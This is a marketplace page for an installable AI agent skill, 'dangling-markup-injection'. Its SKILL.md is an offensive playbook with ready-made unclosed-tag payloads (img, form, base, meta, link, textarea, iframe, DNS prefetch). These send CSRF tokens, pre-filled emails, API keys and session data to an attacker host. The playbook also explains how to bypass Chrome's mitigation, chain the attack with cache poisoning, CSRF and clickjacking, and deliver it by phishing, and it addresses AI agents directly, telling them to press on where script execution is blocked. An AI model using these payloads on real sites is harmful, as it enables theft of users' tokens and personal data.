MCPInstall

dangling-markup-injection

Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.

Installs
3.6K
Last 24h
+16
Trending rank
#6912
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill dangling-markup-injection
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads dangling-markup-injection automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

  • xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
  • csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
  • csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
  • crlf-injection when CRLF enables HTML injection in HTTP response
  • web-cache-deception when dangling markup + cache poisoning amplifies the attack

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

  1. You have an HTML injection point (reflected or stored)
  2. JavaScript execution is blocked:
    • CSP blocks inline scripts and event handlers
    • Sanitizer strips <script>, onerror, onload, etc.
    • WAF blocks known XSS patterns
  3. The page contains sensitive data AFTER your injection point:
    • CSRF tokens
    • Pre-filled form values (email, username, API keys)
    • Session identifiers in hidden fields
    • Sensitive user content

Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.


2. CORE TECHNIQUE

Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...

The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.


3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?

The browser sends a GET request to attacker.com with all consumed content as query parameters.

Blocked by: img-src CSP directive

3.2 Form Action Hijack

<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--

If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

Blocked by: form-action CSP directive

Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

<base href="https://attacker.com/">

All subsequent relative URLs on the page resolve to attacker's server:

  • <script src="/js/app.js"> → loads https://attacker.com/js/app.js
  • <a href="/profile"> → links to https://attacker.com/profile
  • <form action="/submit"> → submits to https://attacker.com/submit

Blocked by: base-uri CSP directive

3.4 Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?

Redirects the entire page to attacker's server with consumed page content in the URL.

Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

<link rel="stylesheet" href="https://attacker.com/collect?

Browser requests the URL as a CSS resource, leaking consumed content.

Blocked by: style-src CSP directive

3.6 Table Background (Legacy)

<table background="https://attacker.com/collect?

Works in older browsers that support the background attribute on table elements.

Blocked by: img-src CSP directive

3.7 Video/Audio Poster

<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?

Blocked by: media-src / img-src CSP directives


4. WHAT CAN BE STOLEN

Target DataHow It Appears in PageSteal Technique
CSRF token<input type="hidden" name="csrf" value="...">Dangling <img src= before the form
Pre-filled email<input value="user@example.com">Dangling tag before the input
API keys in pagevar apiKey = "sk-..." in inline scriptDangling tag before the script block
Session ID in hidden field<input name="session" value="...">Dangling tag before the form
Auto-filled passwordsBrowser auto-fills password field<form action=attacker> with matching input names
OAuth state/tokensIn URL parameters or hidden form fieldsDangling tag on authorization page
Internal URLs/pathsLinks, script sources, API endpoints<base> tag hijack captures all relative URLs

5. BROWSER-SPECIFIC BEHAVIOR

BrowserBehavior
Chrome/ChromiumBlocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>.
FirefoxMore permissive with dangling markup in image sources. Allows newlines in attribute values.
SafariSimilar to Chrome's restrictions. May handle some edge cases differently.
Edge (Chromium)Same as Chrome behavior.

Chrome Mitigation Detail

Chrome blocks navigation/resource load when the URL attribute value contains:

  • < character (indicates HTML tag consumption)
  • Newline characters (\n, \r)

Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.


6. ADVANCED TECHNIQUES

6.1 Selective Consumption

Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.

6.2 Textarea + Form Combo

<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.

6.3 Comment / Style Dangling

  • <!-- without closing --> consumes all content (no exfil, but hides page content)
  • <style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil

6.4 Window.name via iframe

<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.


7. LIMITATIONS

LimitationDetail
Same-origin content onlyDangling markup only captures content from the same HTTP response
Quote matchingConsumption stops at the next matching quote character — may not reach target data
CSP img-src/form-actionStrict CSP can block most exfiltration vectors
Chrome's dangling markup mitigationBlocks <img src= with < or newlines in URL
Injection point must be before target dataCan only capture content that appears after the injection in HTML source order
Content encodingURL-unsafe characters in captured content may be mangled

8. COMBINATION ATTACKS

8.1 Dangling Markup + Open Redirect

1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
2. Open redirect on target.com makes the request "same-origin" for some CSP checks
3. Redirect sends captured data to attacker

8.2 Dangling Markup + Cache Poisoning

1. Find reflected HTML injection point
2. Inject dangling markup payload
3. If response is cached, ALL users see the dangling markup
4. Tokens/data from all victims exfiltrated

This turns a reflected injection into a stored/persistent attack.

8.3 Dangling Markup + CSRF

1. Use dangling markup to steal CSRF token from page
2. Use stolen token to perform CSRF attack
3. Allows CSRF even when tokens are properly implemented

8.4 Dangling Markup + Clickjacking

1. Inject <form action="https://attacker.com/collect"><textarea name="data">
2. Frame the page (if frame-ancestors allows)
3. Trick user into clicking "Submit" via clickjacking overlay
4. Form submits all captured page content to attacker

9. DANGLING MARKUP DECISION TREE

HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
│
├── Identify injection context
│   ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
│   ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
│   └── Inside script block? → Close script first: </script><img src="...
│
├── What sensitive data exists AFTER injection point?
│   ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│   ├── User PII (email, name) → data theft
│   ├── API keys / secrets → account compromise
│   ├── No sensitive data after injection → dangling markup not useful here
│   └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│   ├── No CSP / lax CSP → <img src="...  (simplest)
│   ├── img-src restricted?
│   │   ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
│   │   ├── base-uri unrestricted? → <base href="attacker">
│   │   └── style-src unrestricted? → <link rel=stylesheet href="...
│   ├── Strict CSP on all directives?
│   │   ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│   │   ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│   │   └── Window.name via iframe? → <iframe name="...
│   └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│   ├── Target uses Chrome? → Avoid <img src= with < or newlines
│   ├── Use <form action=> instead (not blocked)
│   ├── Use <base href=> (not blocked)
│   └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│   ├── Target data uses double quotes? → Inject with single quote: <img src='...
│   ├── Target data uses single quotes? → Inject with double quote: <img src="...
│   └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
    ├── Response cached? → Poison cache → steal from multiple victims
    ├── Stored injection? → Every page view exfiltrates
    └── Reflected only? → Deliver via phishing link

10. TRICK NOTES — WHAT AI MODELS MISS

  1. Dangling markup is THE answer when CSP blocks scripts but HTML injection exists. Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
  2. Chrome's mitigation is tag-specific, not universal: <img src= is mitigated, but <form action=, <base href=, <meta http-equiv=refresh> are NOT. Always try alternative vectors.
  3. Quote type selection is critical: If the page uses " for attributes, inject with ' (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
  4. Injection point placement matters enormously: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
  5. <textarea> is the most underrated vector: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
  6. Window.name persists across origins: If you can inject an iframe, the name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel.
  7. DNS prefetch exfiltration works even under strict CSP: <link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.

FAQ

What does the dangling-markup-injection skill do?

Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.

How do I install dangling-markup-injection?

Run npx skills add https://github.com/yaklang/hack-skills --skill dangling-markup-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/dangling-markup-injection/ (personal) or .claude/skills/dangling-markup-injection/ (project).

Which AI agents can use dangling-markup-injection?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is dangling-markup-injection safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains dangling-markup-injection?

It is published by yaklang in yaklang/hack-skills. It has 3,580 recorded installs.

More from yaklang/hack-skills

View all →

hack

yaklang/hack-skills

Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.

Security4.4K installs

android-pentesting-tricks

yaklang/hack-skills

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

Mobile4.1K installs

recon-and-methodology

yaklang/hack-skills

Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.

Testing & QA4K installs

sqli-sql-injection

yaklang/hack-skills

SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.

Data & Databases4K installs

Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.

Security4K installs

xss-cross-site-scripting

yaklang/hack-skills

XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.

Security4K installs

Popular security skills

View category →

azure-compliance

microsoft/azure-skills

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

OfficialSecurity567K installs

minimal-run-and-audit

lllllllama/rigorpilot-skills

Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.

Security477.4K installs

seo-audit

coreyhaines31/marketingskills

When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.

Security238.7K installs

firebase-security-rules-auditor

firebase/agent-skills

Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.

OfficialSecurity139.1K installs

audit

pbakaus/impeccable

Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.

Security81.9K installs

competitors

coreyhaines31/marketingskills

When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.

Security79.3K installs